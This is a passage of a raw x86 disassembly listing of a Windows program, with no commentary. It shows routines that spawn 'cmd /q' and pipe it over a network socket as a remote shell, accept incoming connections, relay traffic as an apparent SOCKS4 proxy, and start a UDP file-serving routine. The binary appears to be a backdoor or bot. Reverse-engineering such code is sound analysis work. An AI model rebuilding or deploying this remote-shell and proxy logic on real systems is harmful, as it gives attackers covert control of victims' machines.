		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411813
		push	offset unk_44B4C0
		call	sub_415A3C

loc_4117DE:				; CODE XREF: sub_411725+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4117EA
		push	[ebp+var_4]
		call	edi	; CloseHandle

loc_4117EA:				; CODE XREF: sub_411725+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4117F5
		push	[ebp+var_8]
		call	edi	; CloseHandle

loc_4117F5:				; CODE XREF: sub_411725+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4117FE
		push	eax
		call	edi	; CloseHandle

loc_4117FE:				; CODE XREF: sub_411725+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_411808
		push	eax
		call	edi	; CloseHandle

loc_411808:				; CODE XREF: sub_411725+DEj
		push	esi
		call	sub_41C9D0
		pop	ecx

loc_41180F:				; CODE XREF: sub_411725+1Dj
		xor	eax, eax
		jmp	short loc_411819
; ---------------------------------------------------------------------------

loc_411813:				; CODE XREF: sub_411725+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_411819:				; CODE XREF: sub_411725+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411725	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41181E	proc near		; CODE XREF: sub_411725+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41E4B0
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41E4B0
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4F53CC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4F53C8	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_4118DA
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_455FC8[eax], ecx
		call	dword_4F533C	; CloseHandle
		jmp	short loc_4118F0
; ---------------------------------------------------------------------------

loc_4118DA:				; CODE XREF: sub_41181E+9Aj
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B4F0
		call	sub_415AB0
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4118F0:				; CODE XREF: sub_41181E+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41181E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118F7	proc near		; DATA XREF: sub_4115D0+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_4F53BC
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_41195A
; ---------------------------------------------------------------------------

loc_41190E:				; CODE XREF: sub_4118F7+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411943

loc_411919:				; CODE XREF: sub_4118F7+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411933
		cmp	dl, 0Dh
		jz	short loc_411933
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_411933:				; CODE XREF: sub_4118F7+2Cj
					; sub_4118F7+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411919

loc_411943:				; CODE XREF: sub_4118F7+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E30D8	; send
		test	eax, eax
		jle	short loc_411974

loc_41195A:				; CODE XREF: sub_4118F7+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_41190E

loc_411974:				; CODE XREF: sub_4118F7+61j
		mov	esi, dword_4F5360
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411990
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B528
		call	sub_415AB0
		pop	ecx
		pop	ecx

loc_411990:				; CODE XREF: sub_4118F7+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4118F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411995	proc near		; DATA XREF: sub_4115D0+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_411A8E
; ---------------------------------------------------------------------------

loc_4119B0:				; CODE XREF: sub_411995+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_4119BD
		dec	[ebp+var_10]
		jmp	loc_411A91
; ---------------------------------------------------------------------------

loc_4119BD:				; CODE XREF: sub_411995+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411A79
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411A2D
		cmp	al, 7Fh
		jz	short loc_411A2D
		cmp	al, 3
		jnz	short loc_4119E8
		push	ebx
		push	ebx
		call	dword_4F5400	; GenerateConsoleCtrlEvent
		jmp	short loc_411A54
; ---------------------------------------------------------------------------

loc_4119E8:				; CODE XREF: sub_411995+47j
		cmp	al, 15h
		jnz	short loc_411A0A
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411A40
; ---------------------------------------------------------------------------

loc_411A0A:				; CODE XREF: sub_411995+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_411A41
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411A40
; ---------------------------------------------------------------------------

loc_411A2D:				; CODE XREF: sub_411995+3Fj
					; sub_411995+43j
		cmp	esi, ebx
		jbe	short loc_411A57
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411A40:				; CODE XREF: sub_411995+73j
					; sub_411995+96j
		pop	ecx

loc_411A41:				; CODE XREF: sub_411995+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E30D8	; send
		test	eax, eax
		jle	short loc_411AA9

loc_411A54:				; CODE XREF: sub_411995+51j
		mov	al, byte ptr [ebp+arg_0+3]

loc_411A57:				; CODE XREF: sub_411995+9Aj
		cmp	al, 0Dh
		jnz	short loc_411A91
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_411AA9
		xor	esi, esi
		jmp	short loc_411A91
; ---------------------------------------------------------------------------

loc_411A79:				; CODE XREF: sub_411995+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411A87
		mov	[ebp+var_C], 1
		jmp	short loc_411A91
; ---------------------------------------------------------------------------

loc_411A87:				; CODE XREF: sub_411995+E7j
		mov	[ebp+var_10], 0Ah

loc_411A8E:				; CODE XREF: sub_411995+16j
		mov	[ebp+var_C], ebx

loc_411A91:				; CODE XREF: sub_411995+23j
					; sub_411995+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E30A0	; recv
		test	eax, eax
		jg	loc_4119B0

loc_411AA9:				; CODE XREF: sub_411995+BDj
					; sub_411995+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAE	proc near		; DATA XREF: sub_401C87+2C00o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4E3088	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4E3108	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_455FCC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		test	eax, eax
		jnz	loc_411C4F
		push	0Ah
		push	edi
		call	dword_4E30B0	; listen
		test	eax, eax
		jnz	loc_411C4F
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44B568
		push	eax
		call	sub_41EA60
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411B89
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409C75
		add	esp, 14h

loc_411B89:				; CODE XREF: sub_411AAE+B9j
					; sub_411AAE+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415A3C
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E311C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44B590
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40B691
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_455FC4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411CB2
		push	esi
		push	esi
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_455FD4[ecx], eax
		jnz	short loc_411C45
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44B5D4
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_411B89
; ---------------------------------------------------------------------------

loc_411C3D:				; CODE XREF: sub_411AAE+19Aj
		push	5
		call	dword_4F534C	; Sleep

loc_411C45:				; CODE XREF: sub_411AAE+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_411C3D
		jmp	loc_411B89
; ---------------------------------------------------------------------------

loc_411C4F:				; CODE XREF: sub_411AAE+7Bj
					; sub_411AAE+8Cj
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_44B610
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411C92
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409C75
		add	esp, 14h

loc_411C92:				; CODE XREF: sub_411AAE+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415A3C
		push	[ebp+var_3C]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411AAE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CB2	proc near		; DATA XREF: sub_411AAE+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_455FCC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4E3070	; select
		test	eax, eax
		jnz	short loc_411D33
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411D33:				; CODE XREF: sub_411CB2+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4E30A0	; recv
		test	eax, eax
		jg	short loc_411D64
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411D64:				; CODE XREF: sub_411CB2+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_411F5E
		cmp	[ebp+var_4CF], 1
		jnz	loc_411F5E
		cmp	[ebp+var_44], bl
		jz	short loc_411DFA
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411DFA
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_44B644
		call	sub_415AB0
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41E4B0
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411DFA:				; CODE XREF: sub_411CB2+CFj
					; sub_411CB2+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41E4B0
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4E3108	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_411E92
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset dword_44B684
		call	sub_415AB0
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41E4B0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411E92:				; CODE XREF: sub_411CB2+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411F01
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset dword_44B6C8
		call	sub_415AB0
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41E4B0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411F01:				; CODE XREF: sub_411CB2+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		push	dword ptr [esi]
		push	edi
		call	sub_411F76
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_411F5E:				; CODE XREF: sub_411CB2+B9j
					; sub_411CB2+C6j
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_411CB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F76	proc near		; CODE XREF: sub_411CB2+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_411F8C:				; CODE XREF: sub_411F76+BEj
					; sub_411F76+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx

loc_411F9D:				; CODE XREF: sub_411F76+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_411FAE
		inc	eax
		cmp	eax, ecx
		jb	short loc_411F9D

loc_411FAE:				; CODE XREF: sub_411F76+31j
		cmp	eax, ecx
		jnz	short loc_411FC2
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_411FC2:				; CODE XREF: sub_411F76+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4E3070	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4E2F74	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_412022
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4E30A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41206A
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41206A

loc_412022:				; CODE XREF: sub_411F76+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E2F74	; __WSAFDIsSet
		test	eax, eax
		jz	loc_411F8C
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41206A
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411F8C

loc_41206A:				; CODE XREF: sub_411F76+93j
					; sub_411F76+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41206F	proc near		; CODE XREF: sub_41206F:loc_4124DAp
					; DATA XREF: sub_401C87+20B2o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4E3108	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41210F
		push	190h
		call	dword_4F534C	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4120EF
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409C75
		add	esp, 14h

loc_4120EF:				; CODE XREF: sub_41206F+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415A3C
		push	[ebp+var_168]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_41210F:				; CODE XREF: sub_41206F+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4E3068	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4E3068	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_455FCC[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4E3088	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4E30B4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412199
		push	1388h
		call	dword_4F534C	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_4124DA
; ---------------------------------------------------------------------------

loc_412199:				; CODE XREF: sub_41206F+10Fj
		lea	eax, [ebp+var_370]
		push	offset aRb_0	; "rb"
		push	eax
		call	sub_41E490
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_4121FF
		push	190h
		call	dword_4F534C	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409C75
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415A3C
		push	[ebp+var_168]
		call	sub_40B9A7
		add	esp, 1Ch
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_4121FF:				; CODE XREF: sub_41206F+142j
					; sub_41206F+425j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_41249D
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4E3070	; select
		test	eax, eax
		jle	loc_412491
		mov	al, byte_4E5DE4
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4E3060	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_41247B
		cmp	[ebp+var_CF], 1
		jnz	loc_412387
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41BC70
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_420FE0
		push	[ebp+var_4]
